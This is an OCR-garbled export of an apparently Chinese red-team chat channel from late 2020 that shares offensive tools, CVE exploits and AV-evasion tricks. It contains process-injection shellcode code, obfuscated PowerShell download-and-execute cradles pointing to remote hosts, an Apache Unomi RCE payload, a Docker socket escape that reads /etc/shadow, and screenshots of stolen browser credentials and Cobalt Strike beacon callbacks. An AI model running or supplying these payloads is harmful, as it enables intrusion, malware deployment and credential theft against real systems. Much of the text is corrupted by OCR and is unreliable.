HowToHunt/403Bypass.md+at+master+-+KathanP19/HowTo...

RedTeaming - 2020-10-14

BT —NEBIFIANIE, ERAT—NRE, ZNFREARAR, EZiimimikatzlRAPEEIMELRNRAET, ZRAIRBATXMSGEZTEwindows dedfendersdmimikatzfIE R, BAXTHEBMEFAERATRIM —LLETRR, L
ETEAGF, MR- TEMHIZIN, MUAAGE, HSERUCreateRemoteThread Z EKHIRE, EXBR— M TENLIHE.

fft_Edhiit: GitHub+-+d35ha/CallObfuscator:+Obfuscate+specific+...

#IPASIG#  #G3#  #bypassAV #  #Mimikatz#


https://github.com/rarecoil/unwebpack-sourcemap
https://github.com/webanalyzer/rules
https://github.com/KathanP19/HowToHunt/blob/master/Status_Code_Bypass/403Bypass.md
https://github.com/d35ha/CallObfuscator

HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;

printf("Injecting to PID: %i", atoi(argv[l]));

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERYV
WriteProcessMemory(processHandle, remoteBuffer, shellcode, f shellcode, NUL
remoteThread = CreateRemoteThread(processHandle, NULL, ©, (LPTHREAD_START_ROUTIN
CloseHandle(processHandle) ;

return 0;
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5 W7 clwsers\adminisuatondesiaopinect) ese | name (74)

e ndators (023

P veasons! (37/71)
dos-header (64 byres)

188 dos-s2b (176 bytes)
fle-header (Aug 2018
opticnal-header (consale)

5 drectories (1)
actions (entry-poirt)

7 Sbraries ()

Cloastande
CrasteSamoteThooad
Opecfrocens

Vichuallosts
WriteProseMemory
i
YituaiQuery
CetProcentioas

3 Heanhlos

- GetlastErior
34 roscurces (manfest
s sring (13/467) SetSurnpiokiy

5 marifest (astrwcicer)
i

“ GetCurentrosessid

GetCureosroness
Setishandiedt

ushsodedbucessionti
[
Steshustancionimy
BtiCagtureContens
WideChar Tohuityse
MiBreToWdeChae

HUHHHHH gAY

RS RE—BENITIERMHAM [RR]
lengyi: Peatudio

lengyi: pestudio

HERLEF: okok, it

Wing: WMETHDHELEE

lengyi: &%, .

TR BRFERS. .

Wing: BBEEMS.

RedTeaming - 2020-10-17
CiEE-IBENHTEIR
CiE=-IEE AN TRIR+-+ R FHVNE

RWXHunter® >Jig &

RedTeaming - 2020-10-17
CiEE-IBENHTEIR
CiE=-IEE AN TRIR+-+ R FHVNE

RWXHunter®>Jig &

RedTeaming - 2020-10-17

HLLARRIT#

BERIE—OWEN, BTEMARAESR—FHEecs, REFERMEARREIRFBIINERA, EERTZEBIRN, URIRIREERA3389MEN, REthAecs,

BREERAE OB REE L

WRRIE LR RT3 HOIR RS

;
§
§
§
x

"

P}
-

indicanoes 721)

dos-header (64 byves)
Sos-stub (176 bytes)

Sk .

o rings (14/476)

)

I macifest (mimvoken)
W

=

etCurrentProgess
SetUnhardiediaception
uohardiediacestartin,
Bxdfirnualirwind
SRcckpfuncuoelzey
BtCoptereComens

WadsCharToMudslyte
MuaByteToideChar



http://8sec.cc/index.php/archives/432/
http://8sec.cc/index.php/archives/432/
https://mp.weixin.qq.com/s/4JNNxQOHyhtbxaRrCSApGQ

WERE: REINAR, NESHEMTHIIELEERA, chmod?777 thglElE [RT]
Wing: &&RS @day
YRS : 0day EITNHIRM SRT

RedTeaming - 2020-10-18

ITEA 132 05
T EFR--Tf2dump+isassi#tiZ e L&

YRS : 8% T syscall RMFEIET, [ME] EFME todo FMEMERE
lengyi: [HfiBE][ME] REMRBRBEEIRRNAE, HET. .

RedTeaming - 2020-10-20

#MacT B#

Mac PD16

A&

SHXBEASEITAEENZFApp, RIFESERH

$%3%: https://pan.baidu.com/s/1NazJEWWHYtmEG4_FkMBfOQ
1RENIG: 6uJ4

z3rQyu: i 16 FAERERNEIFITR, RINEXTIMKRIE?

RedTeaming - 2020-10-26

#LIBAR R MCRRR#
GitHub+-+gitjdm/dumper2020:+Yet+another+LSASS+dump...

dumpertfy5eE, HOEBRFMAT.

GitHub+-+gitjdm/dumper2020:+Yet+another+LSASS+dump...

RedTeaming - 2020-10-26

#Mac#

VmwareFusion12

583Ei&AMacOS BigSur
SHXBEABEIHAEENZFApp, RIEESHEMH

5% https://pan.baidu.com/s/1prJCTcZEoSyqllfUREBOEg
REVIG: VI7n - REEENZBRESAVSHNSE

RedTeaming - 2020-10-26

#CSTips#

GitHub+-+Gality369/CS-Loader:+CS® 3

RedTeaming - 2020-10-26


https://mp.weixin.qq.com/s/xgQnKbz-43Dme56ta7eKjQ
https://pan.baidu.com/s/1NazJEWWHYtmEG4_FkMBfOQ
https://github.com/gitjdm/dumper2020
https://github.com/gitjdm/dumper2020
https://pan.baidu.com/s/1prJCTcZEoSyqlIfUREB0Eg
https://github.com/Gality369/CS-Loader

Code execution via the Windows Update client (wuauclt)

B8 C:\Windows\system32
ors\dade.murphy\De auclt.exe /UpdateD ymentProvider dade.murphy\Desktop\tes /RunHand

.murphy\Desk

[ Cobalt Strike

Cobalt Strike View Attacks Reporting Help

QR O E=Z¢ B8EPU G P B
user computer note

B ... dade.murphy DESKTOP-R2P. wuauclt.exe 18096

pid arch last
x64 35s

process



https://dtm.uk/wuauclt/

EventLog X

09/22 19:14:21

09/22 19:14:25 *

09/22 19:14:26 *** initial beacon from dade.murphy

cobaltstrike
SK 08:12

RedTeaming - 2020-10-26

Github IR T &

RedTeaming - 2020-10-27

BRERDHXLET

RedTeaming - 2020-10-27


https://curl.oeo.workers.dev/
https://mp.weixin.qq.com/s/ozOfOEnj6RrvX-KkfdcCQA

CrossC2 EEFH T

RedTeaming - 2020-10-27

#HEERNTips#
#Fgithub action B FH&F!
TOOLS+[+EIFRER+-+BLIRE

RedTeaming - 2020-10-28

#INRIS ERIS#
HIPWER, EEREHNEIME,

WRGEGER TS RIRER--Fofa T2

RedTeaming - 2020-10-28

IR
Zero+Day+Initiative+ —+CVE-2020-16939:+Windows+Grou...

https://github.com/rogue-kdc/CVE-2020-16939/

Wing: winl@ &mIh. .

RedTeaming - 2020-10-29

#RmT A%

GitHub+-+RedTeamWing/CVE-2020-14882:+CVE-2020-1488...

RedTeaming - 2020-10-30

#APT TR E#
= A& (Infy)APTELRMYAE — — E A HFHFoudre/a [ T TIE B DT
ZA&(Infy) APTALRIYIR — — (EAKFAIFoudre B TR E ERNHI DI

RedTeaming - 2020-10-31

Cs4jRf8, GitHub+-+Freakboy/CobaltStrike:+CobaltStrike's+sou...

RedTeaming - 2020-11-01
7 360 28 powershell & ME, ERME—TRMEZAIMEITH), BBUT, EAZD - wnormal E7E, &/E1EM alisa AR B iex, MATMLEE 360 7.

Wing: ®7T?

lengyi: ®7? BER?

Wing: EIIRIEEYF, KIABIMEMM, BEMA,
lengyi: IBIR, FRRAIFD iex L£4. .

Wing: #3 demo

lengyi: —&%


https://www.t00ls.net/thread-58439-1-1.html
https://mp.weixin.qq.com/s/vXJ7Tmr1-xlgE0AwB8RxAA
https://www.thezdi.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation
https://github.com/rogue-kdc/CVE-2020-16939/
https://github.com/RedTeamWing/CVE-2020-14882
https://mp.weixin.qq.com/s/SY1oZO9I0VBn1BXEQolWEw
https://github.com/Freakboy/CobaltStrike

RedTeaming - 2020-11-01

CSTips
CROSSC2 EZX#F 4.1 hiAE, BFALENERERFRET, NENEHRATETBERIZAIN, B2 ssh
X EETHMEBIFT .. cs FiRARM—NERANRLET,

RedTeaming - 2020-11-02

powershell.exe-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormalset-alias-namekey-valuelEX;key(New-Object
Net.WebClient).DownloadString('ht‘+'tp://x.x.x.x/a")

lengyi: #hLE, IBB5=4E. HMUEER, =RMKRT

RedTeaming - 2020-11-02

powershell.exe-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-wNormal-w
Normal-wNormal-wNormal-wNormalset-alias-namekey-valuelEX;key(New-Object
Net.WebClient).DownloadString(‘ht‘+'tp://x.x.x.x/a")

lengyi: #hL, iB5=4&, MUEER, =RMKT

RedTeaming - 2020-11-04

HiRRIE IR
APPBIE+ | +R A EHIZR7.0X ERIMET %

L: appiI AR ERRRSE: [HIRSREINMAZIAPPIERBIMRIZEAN? [FRE] +-+FHF]Chttps://zhuanlan.zhihu. com/p/56397466)
RedTeaming - 2020-11-05

CSTips
PEzorE & 1FE i EICSEH, Briidi%iAEMac L, REEEKali EH R R. B LRI % ZLinux F45E /.


https://mp.weixin.qq.com/s/jx1IsQAiyaW1jZY8H6WvVg

i%_E R RS RN TR, BMEnt—ER T,

phra's+blog+~+Technical+posts+about+InfoSec

RedTeaming - 2020-11-09

#RBIZE#
HEkeyTch#
= £515E-RDSEIRERA
= Li8i5-RDSEURER B +-+ 55514 X

CoolCat: XfrtH asak ZfF, BTMAZERTERBHAE shell NBRAFHEF, THBIT, BAEALAFAET

RedTeaming - 2020-11-10

#HREBNTips#
—X 211 48DevOps

DevOpsEIREHABR? +-+HITF

RedTeaming - 2020-11-10

#C2#
BREEENEZ D= MERNS, FTTAMM.
GitHub+-+MythicAgents/Apollo:+A+.NET+Framework+4.0...

RedTeaming - 2020-11-12

#C2#
SharpC2E D THMEREBIER AT, BRIINEEERTLERD .

REMBHEFHE, FENETS, XEMNNETSRRFEIE—TR, BN THANRADFENRIEFRERNVSIRANN, TRIRATE],
RIFRINGE, BIATRAFAhtps, FREMdotnetF B, BEE—T®<.
ICRIERELR ST,

RedTeaming - 2020-11-12

HRRDHH#

iREDH | SaltStackRIBINARI R GHLHITIREDT (CVE-2020-16846/25592)

RedTeaming - 2020-11-13

#C2#

Mythic
A cross-platform, post-exploit, red teaming framework designed to provide a collaborative and user friendly interface for operators.
link: https://docs.mythic-c2.net/


https://xz.aliyun.com/t/8451
https://zhuanlan.zhihu.com/p/91371659
https://github.com/MythicAgents/Apollo
https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
https://docs.mythic-c2.net/
https://iwantmore.pizza/posts/PEzor2.html

RedTeaming - 2020-11-13

HRRFI#
z

Thinkphp5+RCEZ 45 +—+YderfiiE%

RedTeaming - 2020-11-14

#AMBIELA#

EFXHERNGORRMIMIIE TR
GitHub+-+k8gege/LadonGo:+Ladon+Scanner+For+Golang+...
GitHub+-+shadow1ng/fscan
GitHub+-+uknowsec/TailorScan:+ E B4 S IZ AR, TIFHOE, R3)...

GitHub+-+Adminisme/ServerScan:+ServerScan—zX {fGolan...

Anything else?
TR : c# XKFAW

RedTeaming - 2020-11-16

ZBN+SOARN B+ +iB&

RedTeaming - 2020-11-18

IR T —Lbypass AmsityFiE,

#RAH

bypassAMSI+Wd+-+#E S/ NE


https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload
https://github.com/k8gege/LadonGo
https://github.com/shadow1ng/fscan
https://github.com/uknowsec/TailorScan
https://github.com/Adminisme/ServerScan
https://www.yuque.com/zbn/docs/ayilv9
http://8sec.cc/index.php/archives/439/

bypassAMSI Wd

e bypassAMSI Wd
o AMSI

= AMSIH#ER
o bypass Amsi
« DULHES
= Powershell Patch
= 641U
& 644

RainismG: A%, #3J7

#REF: RTBERTERTE

RedTeaming - 2020-11-18

FlAwindows+terminali# 1T PR 415

Black cher*: REXBT [#F%£]

RedTeaming - 2020-11-19

#REF %
#CVE-2020-13942 Apache Unomi Remote Code Execution

PoC:

{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionld": "pyn3rd"}

RedTeaming - 2020-11-19


https://mp.weixin.qq.com/s/PaHdUV3omiFQt7qV5bnTzA

#RMBIERRIG#
hayat/NTH, 360L 2N NERER,

GitHub+-+hayasec/360SafeBrowsergetpass:+iX & —"—iE#HBMEN...

RedTeaming - 2020-11-20

#RMBIETA#
BloodHound#Jfai A2

FFABloodHound S #ia R B B B8 12 +-+ SE AN X

RedTeaming - 2020-11-21
BAR4.0FH

wiki: BloodHound:+Six+Degrees+of+Domain+Admin+—+BloodHou...
github: Release+BloodHound+4.0+-+Azurehound+-+BloodHoundAD...
youtube: https://www.youtube.com/watch?v=tOwvyXGpVvo&ab_cha...

RedTeaming - 2020-11-21

#RARE HNBREH
office vba bypass av
M3 5: 281 71+360

o EEEEs
RHF) EIWO) =B(V)
HE 1 BF ieBEs 8BS
£iR 7 ¥
A (4)
@ Microsoft Word (2)
@ Symantec Endpoint Protecti...
~ Windows SREiRs
> EBEES

[EEiHE (41)

S 3602 P+ ReWPPOm..
T 360REE® (321

93 360/ NENE (3242)

& 360878 (32 )

& 360EMIHEWEMR (32 @)

6%
CPU

2 F 3P

3.4%

2 2R3

24%
e

54.1 MB

3.4MB
41.4 M8
16.6 MB

43.8MB
13.2MB
45.1 MB

7.6 MB
10.8 MB


https://github.com/hayasec/360SafeBrowsergetpass
https://xz.aliyun.com/t/7311
https://bloodhound.readthedocs.io/en/latest/
https://github.com/BloodHoundAD/BloodHound/releases/tag/4.0.0
https://www.youtube.com/watch?v=tOwvyXGpVvo&ab_channel=robbinsandy

MR 2

external internal] listener user computer note
. yicgluo
[ 1 TS
L3

Event Log X | Listeners X Scripts X/

process pid arch last
rundil32.exe 11604 xB6 3s

powershell,exe

Wing: [Purgalicious+VBA:+Macro+Obfuscation+With+VBA+Purgi.

1)<br> KRB AT AL — T, B la@E#5thand up!

RedTeaming - 2020-11-21

#HREBNTips#
C#. .NET Framework, CLREJXZ

C#. .NET+Framework, CLREIXZ QIR E-CSDNEE

RedTeaming - 2020-11-21

#HEBANTips#
C#. .NET Framework, CLREJFF

C#. .NET+Framework, CLREIXZ_ZHQIE-CSDNIEE

RedTeaming - 2020-11-21
#RAH#  HAMBBERIGH

Shellcode+Runner+Bypass+AV

Wing: BE&ER, ANSHE.,

RedTeaming - 2020-11-21

#ASERIT#
FREORHE M A E A AY

..]Chttps://www. fireeye.com/blog/threat-research/2020/11/purgalicious-vba-macro-obfuscation-with-vba-purging.htm

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://bit.ly/2K75g15')" ")

GitHub+-+HanseSecure/credgrap_ie_edge:+Extract+sto...


https://blog.csdn.net/lidandan2016/article/details/77868043
https://blog.csdn.net/lidandan2016/article/details/77868043
https://mp.weixin.qq.com/s/Hiq0lQVJ7KEiX3yc0TkdaA
http://bit.ly/2K75g15'
https://github.com/HanseSecure/credgrap_ie_edge

IEX (New-Object Net.webClient).DownloadString(

Resource Password

https://login.xing.com/ XingXing

target@hack.it https://www. linkedin. com LoginLinkedIn
user@hack.it https /www . gmx.net MySecret
BankUser2020 https://www.commerzbank.de/ 12345

PS C:\Users\user>

RedTeaming - 2020-11-22

#C2#
ERIEEIC2 Mythic, REBRIALE T —F.
B FaCc2-MythicNARAEEE

Black cher*: 438

RedTeaming - 2020-11-22

#E BT RH#
R—17CHYapisty

SK

1000 api3...| K%K, .chm

c++ EE KX (FR3Z).chm
MFC £ EE 1+ f#.chm
WinAPl.chm

Wing: AgFZ, FEI.Too long
HRE: RAE, AREUEE [M5%]
Chickensay: FiAEM A

RedTeaming - 2020-11-22

HRIERNTips?#

HHZFE,— BRI ELERECS git clone 18/Y[8)7R


https://mp.weixin.qq.com/s?__biz=MzUyMDgzMDMyMg==&mid=2247483957&idx=1&sn=c95fd190bed241ec0541131922670496&chksm=f9e52e28ce92a73e2a7eedf83357dfe88bfe435586871c409492d15ec6ea61bd0c5face4ea06&scene=0&xtrack=1#rd

vim /etc/ssh/ssh_config

: / GSSAPIAuthentication no

TR T, RER .

M3k 2z Al —E R4 Ehostst 75 & M BIE.

Wing: Z@ig8® 3k...
RBPi: I zai—EHAPEETHIE clone

RedTeaming - 2020-11-23

CobaltStrikeScan XM %, 2 rIAIFHE cs A beacon MZRFE, IEFEZR Wbglil @R 7553 A%, MOZE—T, 15 profile #9 set cleanup "true"; FIATIAZE E T . If{Ei%— T CobaltStrike A execute-assembly, BT a-team EIKKRIEFI 4
WMz, ETW th2—MRIFRIGNI R, BILA patch #55d, cirdil LRIBMERNEER NS, BAETHRLIR, AIBUGHTAERN dump, BF Sniper, FIARANE c#, AT —TRRHNELLE, B



RedTeaming - 2020-11-23

#ERE HREFR#

ML T — P E=HEZRMA.
NET3.5h24<F1.NET4.0hR A

BEUBRZAMBEERT, 3608 R

BN EE Fody, B MFARA.

RedTeaming - 2020-11-24

HRTH HREFRH#
Offensive Nim
NimfEBIMingwi# T F & RiF

RedTeaming - 2020-11-25

HAMSERTS#
B HMENOENEHE FihashB 73389

RedTeaming - 2020-11-26

HEIERNTips?#
—ARALE
New macOS C2 (@cedowens), Nim implant (@NotoriousRebel1), x64 AMSI bypass in VBA (@rd_pentest), VBA purging tool (@h4wkst3r/@AndrewOliveau), macOS privesc via MS Teams (@theevilbit), Kali tool developer partnership
(@kalilinux/@byt3bl33d3r), and more!


https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-%20Quick%20Command%20Reference.md
https://mp.weixin.qq.com/s/mVSc5geSYwncpOda1OT-0g

FR
Last+Week+in+Security+(LWiS)+-+2020-11-23+|+Bad+Se...

RedTeaming - 2020-11-26

HRETIRH#
SharpGen#F) B #f
SharpGen#l|f 9 #r+-+3gstudent+-+Good+in+study, +attitude...

RedTeaming - 2020-11-30

#ReFA#  #BHLH
Rengine2— 1Bt FA,HZRIAE, ANIHELERD EEEMBCE 7 IMMERASEF L, BIMMBRREZAZIFS T, BRI 0HI5 | E ] IUNZ LA, U RBIHHNUIIIEET R IUMER—12F . RLORR.

GitHub+-+yogeshojha/rengine:+reNgine+is+an+automat...

& reNgine &
f—

73,694 (ndosnts 1860 Wameranistier



https://blog.badsectorlabs.com/last-week-in-security-lwis-2020-11-23.html
https://3gstudent.github.io/3gstudent.github.io/SharpGen%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
https://github.com/yogeshojha/rengine

@ @ @ 4%
599 208,938 642,112 559

Total Targets Subdomains Discovered Endpoints Discovered Total Scans

12,138 otal Alive endpoints: 318,258 rrently Scanning 2

View all endpoints View all scan history

Vulnerability Scan Summary View all vulnerabilities

Total
563

@ Critical @ High @ Medium Low e Info

® 3
= reNgine .

AN Vuinerabiities

s SEVERITY | VULNERABLE URL orsCRBTION
-
[} —_—
[0} e
o —
[ron] —
3 ——
3 NE——
[1ies } —
s ] —
ot ] ——
[ar ] T
EE—
o E—
[6es |

i )

RedTeaming - 2020-12-01

#RAH  HINRSRMAHIRE ##RRE#
EREMRENER ENERIE.

GitHub+-+knownsec/shellcodeloader:+shellcodeloader

.m@ngodnse: M start, BF bug FEBEFEIMB L X ED ZMAERWRIDIZ issue, FHERKSEME dev 9%, ETHZEE bug.


https://github.com/knownsec/shellcodeloader

RedTeaming - 2020-12-01

#IY SR #
As-Exploits: FRENEI/EEEIESR
1. B E SR NFDEE A
2. FithabouttEtR, B ERRAEFERE
FHIR+3C:
GitHub+-+yzddmr6/As-Exploits:+5 E 8l /5 51E1E 42
As-Exploits:+H E ) 158 1BIEZ2+|+yzddMr6's+Blog

RedTeaming - 2020-12-02

#AMBIELEH
FIFntim hashi#E, Z#FttEdump, winrmiERZIFERZINEE,

GitHub+-+cube0x0/SharpMapExec

RedTeaming - 2020-12-02

KEESS

dn

{£FReflectiveDLLInjectionF 3 {RAYCobaltStrike #£IFAR BRI RHA

RedTeaming - 2020-12-02


https://github.com/yzddmr6/As-Exploits
https://yzddmr6.tk/posts/as-exploits/
https://github.com/cube0x0/SharpMapExec
https://mp.weixin.qq.com/s/-Inh6uWV9YCz0zQYfitceA

AN IS

X FCobaltStrikefiStagerti3 6]

RedTeaming - 2020-12-03

HEREIR A
Windows FthE—RR &R, Acinst,

Linux FEBEMA, —REBERGIRE, REREAIE/FLAHESENLTIA

init.sh/init.sh+at+main+-+alOne/init.sh+-+GitHub

z3rQyu: [EEZE Chocolatey #3537

RedTeaming - 2020-12-05

#LTAFRIG#
*TFstagerttiFM0EIRIR T % Bypass+cobaltstrike+beacon+config+scan

RedTeaming - 2020-12-05

#LTAFRIG#
*FstagerttiFM0EIRIR T % Bypass+cobaltstrike+beacon+config+scan

RedTeaming - 2020-12-06

#RIEFIR#
FHNEEAZI R Z B RRRIRE

LIRS RBEN—LEERRARAEE
RedTeaming - 2020-12-06
#REFRI %

2020 Bh iR A A E- B E TN L L E TR +-+ A REN P
RedTeaming - 2020-12-06
#HRBDHTH#

Apache+Shiro+<1.2.4RFEFIML ST

RedTeaming - 2020-12-06

HLIPAT 5#
FEiEpdbiFidER

R—EL2EEET FAMgrep R KMBHIFAF A
dotnet build /p:DebugType=None /p:DebugSymbols=false


https://mp.weixin.qq.com/s/hz9lZidZXgbPrkI32pCdVQ
https://github.com/al0ne/init.sh/blob/main/init.sh
https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw
https://mp.weixin.qq.com/s/fhcTTWV4Ddz4h9KxHVRcnw
https://mp.weixin.qq.com/s/6I-Yp0A69rLr3RfruIAkhA
https://blog.riskivy.com/2020%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83%e5%bc%b9%e8%8d%af%e5%ba%93-%e6%82%a8%e6%9c%89%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%ba%bf%e8%af%b7%e6%b3%a8%e6%84%8f/?from=timeline&isappinstalled=0
https://mp.weixin.qq.com/s/ayZKDVnN7zEbKjo5w8uqxQ

RedTeaming - 2020-12-07

#RFH
API HashingfZ AR (BHIRIIEE FTET—T)
1. S5t E Hapitd iz #9Hash &, bACreate Thread 9 {51
2. @it getHashFromString % [a)1§ 2 ithiik
3. BEX—TREIEEIXMhashB TS EIRI ittt
4. EF B E X R, THERBR .
5. TEIATSEHL T IR

https://www.ired.team/offensive-security/defense-e...
v CFF Explorer VIl - [api-hashing.exe]

HEREF . B R R,
RS : BT T M. o
lengyi: X86 RiIfi, x64 %MK

RedTeaming - 2020-12-07

#C2#


https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

MELRTHC2ES

Ask+The+C2+Matrix

RedTeaming - 2020-12-08

#BypassAV#
Bypass EDR Hook
{#F CsharpLIEIZSIRBIEDR Hook
Bk
ST —PstagingfR 528, LR FIIH IR FFIE
1 FEB R EIRAIEIHooKEY JE AR AR B RSS 28
2 RSB BERFIICEUR EFsyscall L B — R I8, shSHm1E B E R %4 B iR,
3. BinEE X R AV HZR AT
4. MIC2xLMRE
XTI R BRI T sESIR A, thBE G S (E RN Z A RS TS E R

Wing: [https://posts.specterops.io/adventures-in-dynamic-...](https://posts.specterops.io/adventures-in-dynamic-evasion-1fe@bac57aa)

RedTeaming - 2020-12-08

HARBIERI#
FARdpARSS#E— 1 sSUIR, (/R 15 E R Em L.

GitHub+-+nccgroup/SocksOverRDP:+Socks5/4/4a+Proxy+...

-1 BEREANSER

RedTeaming - 2020-12-09

KREEBERAMT BREHAHET .
RERE T —T,50+0 TR,

GitHub+-+fireeye/red_team_tool_countermeasures

08:41

< Twitter

@ github.com

Team tools:

e CVE-2014-1812 — Windows Local
Privilege Escalation


http://ask.thec2matrix.com/
https://github.com/nccgroup/SocksOverRDP
https://github.com/fireeye/red_team_tool_countermeasures

CVE-2019-0708 — RCE of
Windows Remote Desktop
Services (RDS)
CVE-2017-11774 - RCE in
Microsoft Outlook via crafted
document execution (phishing)
CVE-2018-15961 — RCE via
Adobe ColdFusion (arbitrary file
upload that can be used to
upload a JSP web shell)
CVE-2019-19781 - RCE of Citrix
Application Delivery Controller
and Citrix Gateway

CVE-2019-3398 - Confluence
Authenticated Remote Code
Execution

CVE-2019-11580 - Atlassian
Crowd Remote Code Execution

CVE-2018-13379 - pre-auth
arbitrary file reading from Fortinet

Favdiaada OO /NI




Foruydie ooL VFIN

e CVE-2020-0688 — Remote
Command Execution in Microsoft

Exchange
e CVE-2019-11510 - pre-auth

arbitr sayebio=soackaastam Pulse

08:42
« Twitter
@ github.com

BB SHARPPGREP/productio... 5 hours ago
B SHARPSACK/production... 5 hours ago

SHARPSCHTASK/product... 5 hours ago

B SHARPSECTIONINJECTIO... 5 hours ago
3 SHARPSTOMP/product... 5 hours ago
SHARPUTILS/production... 5 hours ago

SHARPY/production/yara 5 hours ago



SHARPZEROLOGON/prod...
SINFULOFFICE
TITOSPECIAL/producti...
TRIMBISHOP
UNCATEGORIZED
WEAPONIZE/supplement...
WILDCHILD/production
WMIRUNNER/productio...

WMISHARP/production/...

WMISPY/production/yara

5 hours ago
5 hours ago
5 hours ago
5 hours ago
5 hours ago
5 hours ago
5 hours ago
5 hours ago
5 hours ago

5 hours ago

z3rQyu: BEREHARERIMEE LR
HOlk: github X EittFEAITEIH?
Wing: RETAEIERN yara #l,

RedTeaming - 2020-12-10



NIRRT RZ IR, ERAZ—EFRTIRNTHRE, XERET I MEGRM, F2FAIE:
GitHub+-+lllidanS4/SharpUtils:+Various+tools+and+h...

GitHub+-+med0x2e/NoAmci:+Using+DInvoke+to+patch+AM...
GitHub+-+fireeye/DueDLLigence

RedTeaming - 2020-12-11

EMT—TF

CVE-2020-17049+Kerberos+Bronze+Bit+ I E M

Wing: ®IX

RedTeaming - 2020-12-11

HNBKEE ATAEREH
TFRRET T RERRA,

802.11 M4 ZWPAR W R Z 2

RedTeaming - 2020-12-12

#AWBIERRIT#
Mimikatz 2 2{a] L pthi]
Inside+the+Mimikatz+Pass-the-Hash+Command+(Part+1)

RedTeaming - 2020-12-12

#ETAIRI#
WiFi PineappleZ Evil Portal

ps: KSEEESERIME.
WiFi+Pineapple ZEvil+Portal

RedTeaming - 2020-12-12

#C2#
BIRF— N BE—EmipsEiE,goH E L4,


https://github.com/IllidanS4/SharpUtils
https://github.com/med0x2e/NoAmci
https://github.com/fireeye/DueDLLigence
https://mp.weixin.qq.com/s/By1Vjm-t4CxjUaTEV_ykVg
https://mp.weixin.qq.com/s/9P63zreVpdq0NChe0v5yKw
https://www.praetorian.com/blog/inside-mimikatz-part1
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652487407&idx=1&sn=230961321f8bde69a2d3d0707f154e2a&chksm=f2581d5cc52f944af44a839cf7e82ed188167953f67c2b2f04e05b42c03b58a58d1ef2810e50&scene=0&xtrack=1#rd

PR RENZERSE ]
Wing: REERE LTSN, EME,
crazyman: X tql IE
yuhao: ui BRIFEE

RedTeaming - 2020-12-13

BEFRET RESEETE Nim, ZTEEMEZ python+c LS

(INPRT win fRi2, EMMEBATE) |

REZETHIRRENESR, EMOMEFIRNET . RTHRAZS, TENKBRRT . BXEOMETUR—T.



oV

crazyman: BT BALT

RedTeaming - 2020-12-14

#C2#
JARMZ—HMTLSERS2HESIRA TR, EMNITEAXNEZENEBERTLSARS /AR ZI10NTLSEPifHellofl, HHIRTLSARSSFZHelolIRAFER M. AE, MFENARITETLSIRS 2R MMM hash, IXEJARMIEL, BT X T H@cedowens 44T —

B )LEREIc2i54. fia:
Cobalt StrikeHJ#ELZ07d14d16d21d21d07¢42d41d00041d24a458a375eef0c576d23a7bab9adfb

BARIFRT, EEFICobalt StrikeF (17 BEMEHX A AR ?

JARMI E$%#%: GitHub+-+salesforce/jarm
C2-JARMIE 4 551E: GitHub+-+cedowens/C2-JARM:+A+list+of+JARM+hashes+f...

RedTeaming - 2020-12-14

#mRF F#
FortiGate SSL-VPN &A1& fFIAIA.

Fortiscan+-+A+High+Performance+FortiGate+SSL-VPN+V...

RedTeaming - 2020-12-14

#IREIZE#
ssrf mindmap

BETBER— T EMUMA, —8A RS, BRI — TR TThRAY.


https://github.com/salesforce/jarm
https://github.com/cedowens/C2-JARM
https://www.kitploit.com/2020/11/fortiscan-high-performance-fortigate.html?utm_source=dlvr.it&utm_medium=twitter&m=1

SSRF

( | oMs |
Search & Destroy sl

RedTeaming - 2020-12-14

#HRBIEHE#
ssrf mindmap
BERRER — D EEUHIA, —RE RS R, AR — R TTARE.

@HackerScrolls




SSRF
Search & Destroy

RedTeaming - 2020-12-14

#CSTips#
BT EERZE

PIREIC2FETE 5 hNi&E

RedTeaming - 2020-12-15

#imER F#
Docker 2375f®Rce

docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine

File Access: cat /mnt/etc/shadow
RCE: chroot /mnt

RedTeaming - 2020-12-17

AR E#

@HackerScrolls



https://mp.weixin.qq.com/s/6nBrRJHFFpCw4N90n8aURA

SharpLoginPrompt£JPJ W R &35

IBRNRIVE R

Domain:Wing.com

RedTeaming - 2020-12-17

#AWBIERRI5#
JEE2.0
GitHub+-+byt3bl33d3r/DeathStar:+Uses+Empire's+(htt...

RedTeaming - 2020-12-17

#BypassAV#  #GA#
RRAR

HR IS -- 7 Go Rk R 252
RedTeaming - 2020-12-18

HZEANTips#
iHREYECSEFN10MithcloneI E
